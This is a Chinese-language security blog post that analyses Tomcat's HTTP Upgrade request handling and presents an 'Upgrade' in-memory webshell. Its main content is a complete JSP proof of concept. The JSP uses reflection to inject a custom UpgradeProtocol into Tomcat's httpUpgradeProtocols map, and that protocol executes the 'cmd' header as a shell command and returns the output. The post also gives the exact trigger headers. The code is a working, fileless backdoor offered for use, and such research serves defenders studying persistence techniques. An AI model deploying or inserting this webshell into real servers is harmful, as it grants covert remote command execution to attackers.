Tomcat-Upgrade

0x01 Previous Review

上篇的Executor内存马是在EndPoint下的,实际上Processor中也能找到内存马的植入点

image-20230204104009226

Processor负责处理字节流生成Tomcat Request 对象,将Tomcat Request对象传递给 Adapter。其实就是处理HTTP请求的,对应的类为AbstractProcessorLight

0x02 Analysis

NioEndpoint#doRun处理网络Socket连接,调用AbstractProtocol$ConnectionHandler#process

image-20230204194027659

跟进看到,创建了一个Http11ProcessorAbstractProcessorLight子类),并调用其process方法,跟进去看看

image-20230204194544213
image-20230204195124117

status为OPEN_READ,调用service方法

image-20230204195506315

若请求的Connection头字段有Upgrade标志,且存在Upgrade头,首先通过AbstractProtocol#getUpgradeProtocol获取UpgradeProtocol对象,再调用其accept方法(利用点便在此)

image-20230204195807803

拿到Upgrade头字段后,通过httpUpgradeProtocols.get(upgradeName)获取UpgradeProtocol

image-20230204200625102

所以接下来的关注点就在httpUpgradeProtocols

全局搜索httpUpgradeProtocols,发现AbstractHttp11Protocol#configureUpgradeProtocol往其添加UpgradeProtocol

image-20230204201141244

搜索发现AbstractHttp11Protocol#init中调用了configureUpgradeProtocol

image-20230204201511121

说明httpUpgradeProtocols是在Tomcat启动时被实例化的。

在当前上下文找到AbstractHttp11Protocol(上下文环境中会是Http11NioProtocol),通过反射往httpUpgradeProtocols加入我们自定义的UpgradeProtocol就行,UpgradeProtocolaccept方法加入恶意代码。

0x03 POC

构造恶意UpgradeProtocol

Http11Processorprocess方法中会检测ConnectionUpgrade的头部字段,根据Upgrade头部字段获取UpgradeProtocol,调用其accept方法,参数是org.apache.coyote.Request,刚好能通过反射获取到response对象。

public boolean accept(org.apache.coyote.Request request) {
    System.out.println("MyUpgrade.accept");
    String p = request.getHeader("cmd");
    try {
        String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
        Field response = org.apache.coyote.Request.class.getDeclaredField("response");
        response.setAccessible(true);
        Response resp = (Response) response.get(request);
        byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
        resp.doWrite(ByteBuffer.wrap(result));
    } catch (Exception e){}
    return false;
}

反射修改httpUpgradeProtocols

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
Field conn = Request.class.getDeclaredField("connector");
conn.setAccessible(true);
Connector connector = (Connector) conn.get(req);
Field proHandler = Connector.class.getDeclaredField("protocolHandler");
proHandler.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
upgradeProtocols.put("p4d0rn", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);

访问时需带上下面头字段:

Upgrade: p4d0rn

Connection: Upgrade

cmd: calc

完整POC:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %>
<%@ page import="org.apache.coyote.UpgradeProtocol" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.coyote.Processor" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.coyote.Adapter" %>
<%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
    public class MyUpgrade implements UpgradeProtocol {
        public String getHttpUpgradeName(boolean isSSLEnabled) {
            return "p4d0rn";
        }

        public byte[] getAlpnIdentifier() {
            return new byte[0];
        }

        public String getAlpnName() {
            return null;
        }

        public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
            return null;
        }

        public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
            return null;
        }

        @Override
        public boolean accept(org.apache.coyote.Request request) {
            System.out.println("MyUpgrade.accept");
            String p = request.getHeader("cmd");
            System.out.println(p);
            try {
                String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
                Field response = org.apache.coyote.Request.class.getDeclaredField("response");
                response.setAccessible(true);
                org.apache.coyote.Response resp = (org.apache.coyote.Response) response.get(request);
                System.out.println("hhhh");
                InputStream in = new ProcessBuilder(cmd).start().getInputStream();
                BufferedReader stdInput = new BufferedReader(new InputStreamReader(in));
                String s = "";
                String tmp = "";
                while ((tmp = stdInput.readLine()) != null) {
                    s += tmp;
                }
                resp.setHeader("Result", s);
            } catch (Exception e){
                System.out.println(e);
            }
            return false;
        }

    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    Field conn = Request.class.getDeclaredField("connector");
    conn.setAccessible(true);
    Connector connector = (Connector) conn.get(req);
    Field proHandler = Connector.class.getDeclaredField("protocolHandler");
    proHandler.setAccessible(true);
    AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
    HashMap<String, UpgradeProtocol> upgradeProtocols = null;
    Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
    upgradeProtocolsField.setAccessible(true);
    upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
    upgradeProtocols.put("p4d0rn", new MyUpgrade());
    upgradeProtocolsField.set(handler, upgradeProtocols);
%>
image-20230204213657337

参考:

一种新的Tomcat内存马 - Upgrade内存马 - 跳跳糖 (tttang.com)

初探Upgrade内存马(内存马系列篇六) - FreeBuf网络安全行业门户

Last updated

Was this helpful?